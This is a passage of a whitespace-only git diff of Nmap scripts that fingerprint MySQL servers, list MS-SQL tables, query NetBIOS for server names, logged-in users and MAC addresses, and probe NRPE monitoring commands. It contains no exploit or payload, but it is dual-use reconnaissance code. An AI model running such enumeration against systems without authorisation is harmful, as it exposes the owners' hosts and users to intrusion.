- table.insert(restrict_tbl, 1, tmp)
- pos = pos + 1
- end
+ if ( DB_COUNT > 0 ) then
+ local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
+ if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
+ tmp = tmp .. " (see ms-sql-tables.maxdb)"
+ end
+ table.insert(restrict_tbl, 1, tmp)
+ pos = pos + 1
+ end
- if ( TABLE_COUNT > 0 ) then
- local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
- if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
- tmp = tmp .. " (see ms-sql-tables.maxtables)"
- end
- table.insert(restrict_tbl, 1, tmp)
- pos = pos + 1
- end
+ if ( TABLE_COUNT > 0 ) then
+ local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
+ if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
+ tmp = tmp .. " (see ms-sql-tables.maxtables)"
+ end
+ table.insert(restrict_tbl, 1, tmp)
+ pos = pos + 1
+ end
- if ( 1 < pos and type( output ) == "table" and #output > 0) then
- restrict_tbl.name = "Restrictions"
- table.insert(output, "")
- table.insert(output, restrict_tbl)
- end
- end
+ if ( 1 < pos and type( output ) == "table" and #output > 0) then
+ restrict_tbl.name = "Restrictions"
+ table.insert(output, "")
+ table.insert(output, restrict_tbl)
+ end
+ end
- local instanceOutput = {}
- instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
- table.insert( instanceOutput, output )
+ local instanceOutput = {}
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ table.insert( instanceOutput, output )
- return instanceOutput
+ return instanceOutput
end
action = function( host, port )
- local scriptOutput = {}
- local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
+ local scriptOutput = {}
+ local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
- if ( not status ) then
- return stdnse.format_output( false, instanceList )
- else
- for _, instance in pairs( instanceList ) do
- local instanceOutput = process_instance( instance )
- if instanceOutput then
- table.insert( scriptOutput, instanceOutput )
- end
- end
- end
+ if ( not status ) then
+ return stdnse.format_output( false, instanceList )
+ else
+ for _, instance in pairs( instanceList ) do
+ local instanceOutput = process_instance( instance )
+ if instanceOutput then
+ table.insert( scriptOutput, instanceOutput )
+ end
+ end
+ end
- return stdnse.format_output( true, scriptOutput )
+ return stdnse.format_output( true, scriptOutput )
end
diff --git a/scripts/mysql-info.nse b/scripts/mysql-info.nse
index 98440474a..b4b097796 100644
--- a/scripts/mysql-info.nse
+++ b/scripts/mysql-info.nse
@@ -40,169 +40,169 @@ end
--@param num Start of the two bytes
--@return The converted number
local ntohs = function(num)
- local b1 = bit.band(num:byte(1), 255)
- local b2 = bit.band(num:byte(2), 255)
+ local b1 = bit.band(num:byte(1), 255)
+ local b2 = bit.band(num:byte(2), 255)
- return bit.bor(b1, bit.lshift(b2, 8))
+ return bit.bor(b1, bit.lshift(b2, 8))
end
--- Converts three bytes into a number
--@param num Start of the three bytes
--@return The converted number
local ntoh3 = function(num)
- local b1 = bit.band(num:byte(1), 255)
- local b2 = bit.band(num:byte(2), 255)
- local b3 = bit.band(num:byte(3), 255)
+ local b1 = bit.band(num:byte(1), 255)
+ local b2 = bit.band(num:byte(2), 255)
+ local b3 = bit.band(num:byte(3), 255)
- return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
+ return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
end
--- Converts four bytes into a number
--@param num Start of the four bytes
--@return The converted number
local ntohl = function(num)
- local b1 = bit.band(num:byte(1), 255)
- local b2 = bit.band(num:byte(2), 255)
- local b3 = bit.band(num:byte(3), 255)
- local b4 = bit.band(num:byte(4), 255)
+ local b1 = bit.band(num:byte(1), 255)
+ local b2 = bit.band(num:byte(2), 255)
+ local b3 = bit.band(num:byte(3), 255)
+ local b4 = bit.band(num:byte(4), 255)
- return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
+ return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
end
--- Converts a number to a string description of the capabilities
--@param num Start of the capabilities data
--@return String describing the capabilities offered
local capabilities = function(num)
- local caps = ""
+ local caps = ""
- if bit.band(num, 1) > 0 then
- caps = caps .. "Long Passwords, "
- end
+ if bit.band(num, 1) > 0 then
+ caps = caps .. "Long Passwords, "
+ end
- if bit.band(num, 8) > 0 then
- caps = caps .. "Connect with DB, "
- end
+ if bit.band(num, 8) > 0 then
+ caps = caps .. "Connect with DB, "
+ end
- if bit.band(num, 32) > 0 then
- caps = caps .. "Compress, "
- end
+ if bit.band(num, 32) > 0 then
+ caps = caps .. "Compress, "
+ end
- if bit.band(num, 64) > 0 then
- caps = caps .. "ODBC, "
- end
+ if bit.band(num, 64) > 0 then
+ caps = caps .. "ODBC, "
+ end
- if bit.band(num, 2048) > 0 then
- caps = caps .. "SSL, "
- end
+ if bit.band(num, 2048) > 0 then
+ caps = caps .. "SSL, "
+ end
- if bit.band(num, 8192) > 0 then
- caps = caps .. "Transactions, "
- end
+ if bit.band(num, 8192) > 0 then
+ caps = caps .. "Transactions, "
+ end
- if bit.band(num, 32768) > 0 then
- caps = caps .. "Secure Connection, "
- end
+ if bit.band(num, 32768) > 0 then
+ caps = caps .. "Secure Connection, "
+ end
- return caps:gsub(", $", "")
+ return caps:gsub(", $", "")
end
portrule = function(host, port)
- local extra = port.version.extrainfo
+ local extra = port.version.extrainfo
- return (port.number == 3306 or port.service == "mysql")
- and port.protocol == "tcp"
- and port.state == "open"
- and not (extra ~= nil
- and (extra:match("[Uu]nauthorized")
- or extra:match("[Tt]oo many connection")))
+ return (port.number == 3306 or port.service == "mysql")
+ and port.protocol == "tcp"
+ and port.state == "open"
+ and not (extra ~= nil
+ and (extra:match("[Uu]nauthorized")
+ or extra:match("[Tt]oo many connection")))
end
action = function(host, port)
- local output = ""
+ local output = ""
- local status, response = comm.get_banner(host, port, {timeout=5000})
+ local status, response = comm.get_banner(host, port, {timeout=5000})
- if not status then
- return
- end
+ if not status then
+ return
+ end
- local length = ntoh3(response:sub(1, 3))
+ local length = ntoh3(response:sub(1, 3))
- if length ~= response:len() - 4 then
- return "Invalid greeting (Not MySQL?)"
- end
+ if length ~= response:len() - 4 then
+ return "Invalid greeting (Not MySQL?)"
+ end
- -- Keeps track of where we are in the binary data
- local offset = 1 + 4
+ -- Keeps track of where we are in the binary data
+ local offset = 1 + 4
- local protocol = response:byte(offset)
+ local protocol = response:byte(offset)
- offset = offset + 1
+ offset = offset + 1
- -- If a 0xff is here instead of the protocol, an error occurred.
- -- Pass it along to the user..
- if (protocol == 255) then
- output = "MySQL Error detected!\n"
+ -- If a 0xff is here instead of the protocol, an error occurred.
+ -- Pass it along to the user..
+ if (protocol == 255) then
+ output = "MySQL Error detected!\n"
- local sqlerrno = ntohs(response:sub(offset, offset + 2))
+ local sqlerrno = ntohs(response:sub(offset, offset + 2))
- offset = offset + 2
+ offset = offset + 2
- local sqlerrstr = response:sub(offset)
+ local sqlerrstr = response:sub(offset)
- output = output .. "Error Code was: " .. sqlerrno .. "\n"
+ output = output .. "Error Code was: " .. sqlerrno .. "\n"
- output = output .. sqlerrstr
+ output = output .. sqlerrstr
- return output
- end
+ return output
+ end
- local version = getstring(response:sub(offset))
+ local version = getstring(response:sub(offset))
- offset = offset + version:len() + 1
+ offset = offset + version:len() + 1
- local threadid = ntohl(response:sub(offset, offset + 4))
+ local threadid = ntohl(response:sub(offset, offset + 4))
- offset = offset + 4
+ offset = offset + 4
- local salt = getstring(response:sub(offset))
+ local salt = getstring(response:sub(offset))
- offset = offset + salt:len() + 1
+ offset = offset + salt:len() + 1
- local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
+ local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
- offset = offset + 2
+ offset = offset + 2
- offset = offset + 1
+ offset = offset + 1
- local status = ""
+ local status = ""
- if ntohs(response:sub(offset, offset + 2)) == 2 then
- status = "Autocommit"
- end
+ if ntohs(response:sub(offset, offset + 2)) == 2 then
+ status = "Autocommit"
+ end
- offset = offset + 2
+ offset = offset + 2
- offset = offset + 13 -- unused
+ offset = offset + 13 -- unused
- if response:len() - offset + 1 == 13 then
- salt = salt .. getstring(response:sub(offset))
- end
+ if response:len() - offset + 1 == 13 then
+ salt = salt .. getstring(response:sub(offset))
+ end
- output = output .. "Protocol: " .. protocol .. "\n"
- output = output .. "Version: " .. version .. "\n"
- output = output .. "Thread ID: " .. threadid .. "\n"
+ output = output .. "Protocol: " .. protocol .. "\n"
+ output = output .. "Version: " .. version .. "\n"
+ output = output .. "Thread ID: " .. threadid .. "\n"
- if caps:len() > 0 then
- output = output .. "Some Capabilities: " .. caps .. "\n"
- end
+ if caps:len() > 0 then
+ output = output .. "Some Capabilities: " .. caps .. "\n"
+ end
- if status:len() > 0 then
- output = output .. "Status: " .. status .. "\n"
- end
+ if status:len() > 0 then
+ output = output .. "Status: " .. status .. "\n"
+ end
- output = output .. "Salt: " .. salt .. "\n"
+ output = output .. "Salt: " .. salt .. "\n"
- return output
+ return output
end
diff --git a/scripts/nbstat.nse b/scripts/nbstat.nse
index b1f61326d..244f7269d 100644
--- a/scripts/nbstat.nse
+++ b/scripts/nbstat.nse
@@ -87,155 +87,155 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host)
- -- The following is an attempt to only run this script against hosts
- -- that will probably respond to a UDP 137 probe. One might argue
- -- that sending a single UDP packet and waiting for a response is no
- -- big deal and that it should be done for every host. In that case
- -- simply change this rule to always return true.
+ -- The following is an attempt to only run this script against hosts
+ -- that will probably respond to a UDP 137 probe. One might argue
+ -- that sending a single UDP packet and waiting for a response is no
+ -- big deal and that it should be done for every host. In that case
+ -- simply change this rule to always return true.
- local port_t135 = nmap.get_port_state(host,
- {number=135, protocol="tcp"})
- local port_t139 = nmap.get_port_state(host,
- {number=139, protocol="tcp"})
- local port_t445 = nmap.get_port_state(host,
- {number=445, protocol="tcp"})
- local port_u137 = nmap.get_port_state(host,
- {number=137, protocol="udp"})
+ local port_t135 = nmap.get_port_state(host,
+ {number=135, protocol="tcp"})
+ local port_t139 = nmap.get_port_state(host,
+ {number=139, protocol="tcp"})
+ local port_t445 = nmap.get_port_state(host,
+ {number=445, protocol="tcp"})
+ local port_u137 = nmap.get_port_state(host,
+ {number=137, protocol="udp"})
- return (port_t135 ~= nil and port_t135.state == "open") or
- (port_t139 ~= nil and port_t139.state == "open") or
- (port_t445 ~= nil and port_t445.state == "open") or
- (port_u137 ~= nil and
- (port_u137.state == "open" or
- port_u137.state == "open|filtered"))
+ return (port_t135 ~= nil and port_t135.state == "open") or
+ (port_t139 ~= nil and port_t139.state == "open") or
+ (port_t445 ~= nil and port_t445.state == "open") or
+ (port_u137 ~= nil and
+ (port_u137.state == "open" or
+ port_u137.state == "open|filtered"))
end
action = function(host)
- local i
- local status
- local names, statistics
- local server_name, user_name
- local mac, prefix, manuf
- local response = {}
- local catch = function() return end
- local try = nmap.new_try(catch)
+ local i
+ local status
+ local names, statistics
+ local server_name, user_name
+ local mac, prefix, manuf
+ local response = {}
+ local catch = function() return end
+ local try = nmap.new_try(catch)
- -- Get the list of NetBIOS names
- status, names, statistics = netbios.do_nbstat(host)
- status, names, statistics = netbios.do_nbstat(host)
- status, names, statistics = netbios.do_nbstat(host)
- status, names, statistics = netbios.do_nbstat(host)
- if(status == false) then
- return stdnse.format_output(false, names)
- end
+ -- Get the list of NetBIOS names
+ status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ status, names, statistics = netbios.do_nbstat(host)
+ if(status == false) then
+ return stdnse.format_output(false, names)
+ end
- -- Get the server name
- status, server_name = netbios.get_server_name(host, names)
- if(status == false) then
- return stdnse.format_output(false, server_name)
- end
+ -- Get the server name
+ status, server_name = netbios.get_server_name(host, names)
+ if(status == false) then
+ return stdnse.format_output(false, server_name)
+ end
- -- Get the logged in user
- status, user_name = netbios.get_user_name(host, names)
- if(status == false) then
- return stdnse.format_output(false, user_name)
- end
+ -- Get the logged in user
+ status, user_name = netbios.get_user_name(host, names)
+ if(status == false) then
+ return stdnse.format_output(false, user_name)
+ end
local mac_prefixes = try(datafiles.parse_mac_prefixes())
- -- Format the Mac address in the standard way
- if(#statistics >= 6) then
- -- MAC prefixes are matched on the first three bytes, all uppercase
- prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
- mac = {
- address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
- manuf = mac_prefixes[prefix] or "unknown"
- }
- host.registry['nbstat'] = {
- server_name = server_name,
- mac = mac.address
- }
- -- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
- if(mac.address == "00:00:00:00:00:00") then
- mac.address = ""
- mac.manuf = "unknown"
- end
- else
- mac = {
- address = "",
- manuf = "unknown"
- }
- end
- setmetatable(mac, {
- -- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
- __tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
- })
+ -- Format the Mac address in the standard way
+ if(#statistics >= 6) then
+ -- MAC prefixes are matched on the first three bytes, all uppercase
+ prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
+ mac = {
+ address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
+ manuf = mac_prefixes[prefix] or "unknown"
+ }
+ host.registry['nbstat'] = {
+ server_name = server_name,
+ mac = mac.address
+ }
+ -- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
+ if(mac.address == "00:00:00:00:00:00") then
+ mac.address = ""
+ mac.manuf = "unknown"
+ end
+ else
+ mac = {
+ address = "",
+ manuf = "unknown"
+ }
+ end
+ setmetatable(mac, {
+ -- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
+ __tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
+ })
- -- Check if we actually got a username
- if(user_name == nil) then
- user_name = ""
- end
+ -- Check if we actually got a username
+ if(user_name == nil) then
+ user_name = ""
+ end
- response["server_name"] = server_name
- response["user"] = user_name
- response["mac"] = mac
+ response["server_name"] = server_name
+ response["user"] = user_name
+ response["mac"] = mac
- local names_output = {}
- for i = 1, #names, 1 do
- local name = names[i]
- setmetatable(name, {
- __tostring = function(t)
- -- Tabular format with padding
- return string.format("%s<%02x>%sFlags: %s",
- t['name'], t['suffix'],
- string.rep(" ", 17 - #t['name']),
- netbios.flags_to_string(t['flags']))
- end
- })
- table.insert(names_output, name)
- end
- setmetatable(names_output, {
- __tostring = function(t)
- local ret = {}
- for i,v in ipairs(t) do
- table.insert(ret, tostring(v))
- end
- -- Indent Names table by 2 spaces
- return " " .. table.concat(ret, "\n ")
- end
- })
+ local names_output = {}
+ for i = 1, #names, 1 do
+ local name = names[i]
+ setmetatable(name, {
+ __tostring = function(t)
+ -- Tabular format with padding
+ return string.format("%s<%02x>%sFlags: %s",
+ t['name'], t['suffix'],
+ string.rep(" ", 17 - #t['name']),
+ netbios.flags_to_string(t['flags']))
+ end
+ })
+ table.insert(names_output, name)
+ end
+ setmetatable(names_output, {
+ __tostring = function(t)
+ local ret = {}
+ for i,v in ipairs(t) do
+ table.insert(ret, tostring(v))
+ end
+ -- Indent Names table by 2 spaces
+ return " " .. table.concat(ret, "\n ")
+ end
+ })
- response["names"] = names_output
+ response["names"] = names_output
- local statistics_output = {}
- for i = 1, #statistics, 16 do
- --Format statistics as space-separated hex bytes, 16 columns
- table.insert(statistics_output,
- stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
- )
- end
- response["statistics"] = statistics_output
+ local statistics_output = {}
+ for i = 1, #statistics, 16 do
+ --Format statistics as space-separated hex bytes, 16 columns
+ table.insert(statistics_output,
+ stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
+ )
+ end
+ response["statistics"] = statistics_output
- setmetatable(response, {
- __tostring = function(t)
- -- Normal single-line result
- local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
- -- If verbosity is set, dump the whole list of names
- if nmap.verbosity() >= 1 then
- table.insert(ret, string.format("Names:\n%s",t.names))
- -- If super verbosity is set, print out the full statistics
- if nmap.verbosity() >= 2 then
- -- Indent Statistics table by 2 spaces
- table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
- end
- end
- return table.concat(ret, "\n")
- end
- })
+ setmetatable(response, {
+ __tostring = function(t)
+ -- Normal single-line result
+ local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
+ -- If verbosity is set, dump the whole list of names
+ if nmap.verbosity() >= 1 then
+ table.insert(ret, string.format("Names:\n%s",t.names))
+ -- If super verbosity is set, print out the full statistics
+ if nmap.verbosity() >= 2 then
+ -- Indent Statistics table by 2 spaces
+ table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
+ end
+ end
+ return table.concat(ret, "\n")
+ end
+ })
- return response
+ return response
end
diff --git a/scripts/nrpe-enum.nse b/scripts/nrpe-enum.nse
index c058ca97e..5cf158dff 100644
--- a/scripts/nrpe-enum.nse
+++ b/scripts/nrpe-enum.nse
@@ -39,214 +39,214 @@ categories = {"discovery", "intrusive"}
local NRPE_PROTOCOLS = {
- "ssl",
- "tcp"
+ "ssl",
+ "tcp"
}
local NRPE_STATES = {
- [0] = "OK",
- [1] = "WARNING",
- [2] ="CRITICAL",
- [3] = "UNKNOWN"
+ [0] = "OK",
+ [1] = "WARNING",
+ [2] ="CRITICAL",
+ [3] = "UNKNOWN"
}
local NRPE_COMMANDS = {
- "check_hda1",
- "check_load",
- "check_total_procs",
- "check_users",
- "check_zombie_procs"
+ "check_hda1",
+ "check_load",
+ "check_total_procs",
+ "check_users",
+ "check_zombie_procs"
}
local CRC32_CONSTANTS = {
- 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
- 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
- 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
- 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
- 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
- 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
- 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
- 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
- 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
- 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
- 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
- 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
- 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
- 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
- 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
- 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
- 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
- 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
- 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
- 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
- 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
- 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
- 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
- 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
- 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
- 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
- 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
- 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
- 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
- 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
- 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
- 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
- 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
- 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
- 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
- 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
- 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
- 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
- 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
- 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
- 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
- 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
- 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
+ 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
+ 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+ 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
+ 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+ 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
+ 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+ 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
+ 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+ 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
+ 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+ 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
+ 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+ 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
+ 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+ 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
+ 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+ 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
+ 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+ 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
+ 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+ 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
+ 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+ 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
+ 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+ 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
+ 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+ 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
+ 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+ 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
+ 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+ 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
+ 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+ 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
+ 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+ 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
+ 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+ 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
+ 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+ 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
+ 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+ 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
+ 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+ 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
}
local crc32 = function(s)
- local crc = 0xFFFFFFFF
- for i = 1, #s do
- local p1 = s:byte(i)
- local p2 = bit.bxor(crc, p1)
- local p3 = bit.band(p2, 0xFF)
- local p4 = bit.band(p3)
- local p5 = CRC32_CONSTANTS[p4 + 1]
- local p6 = bit.rshift(crc, 8)
+ local crc = 0xFFFFFFFF
+ for i = 1, #s do
+ local p1 = s:byte(i)
+ local p2 = bit.bxor(crc, p1)
+ local p3 = bit.band(p2, 0xFF)
+ local p4 = bit.band(p3)
+ local p5 = CRC32_CONSTANTS[p4 + 1]
+ local p6 = bit.rshift(crc, 8)
- crc = bit.bxor(p6, p5)
- end
+ crc = bit.bxor(p6, p5)
+ end
- return bit.bxor(crc, 0xFFFFFFFF)
+ return bit.bxor(crc, 0xFFFFFFFF)
end
local nrpe_open = function(host, port)
- for _, proto in pairs(NRPE_PROTOCOLS) do
- local sock = nmap.new_socket()
- sock:set_timeout(2000)
